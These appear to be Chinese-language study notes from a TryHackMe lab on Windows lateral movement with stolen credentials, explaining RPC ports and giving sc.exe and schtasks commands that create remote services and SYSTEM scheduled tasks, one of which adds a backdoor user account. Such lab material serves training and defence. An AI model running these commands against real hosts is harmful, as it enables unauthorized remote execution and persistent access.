:::info 当我们获得了目标计算机上的有效凭证时
:::
Psexec
SmbExec
WinRM
sc 创建服务
- 端口:
- 135 TCP,49152-65535 (DCE/RPC)
- 139/445 TCP (基于 SMB 命名管道的 RPC)
- 权限:管理员
我们可以利用 Windows 服务来运行任意命令,这些服务将在启动时执行命令,当我们将 Windows 服务配置为运行应用程序时,在应用程序执行失败后仍然会运行
我们可以使用 sc.exe 来创建服务,当使用 sc 时,它会尝试以多种方式通过 RPC 连接到服务控制管理器 (SVCCTL) 远程服务程序
- 当使用 DCE/RPC 进行连接尝试时,客户端将首先连接到 135 端口的端口映射器(EPM),该端口充当可用 RPC 端点的目录,并请求有关 SVCCTL 服务程序的信息,然后, EPM 将使用 IP 和端口进行响应以连接到 SVCCTL,SVCTTL 通常是 49152-65535 范围内的动态端口
- 如果第 3 个连接失败,sc 将会尝试通过 445 139 端口访问 SVCCTL
我们使用下面的命令创建一个 THMservice 服务
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice # 启动服务
sc.exe \\TARGET stop THMservice # 停止服务
sc.exe \\TARGET delete THMservice # 删除服务
计划任务
我们可以使用 schtasks 远程创建和运行一个 THMtask1 计划任务
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
# - /sc ONCE 表示只在指定的时间和日期运行一次
# - /sd 开始日期
# - /st 开始时间
schtasks /s TARGET /run /TN "THMtask1" # 运行
schtasks /S TARGET /TN "THMtask1" /DELETE /F # 删除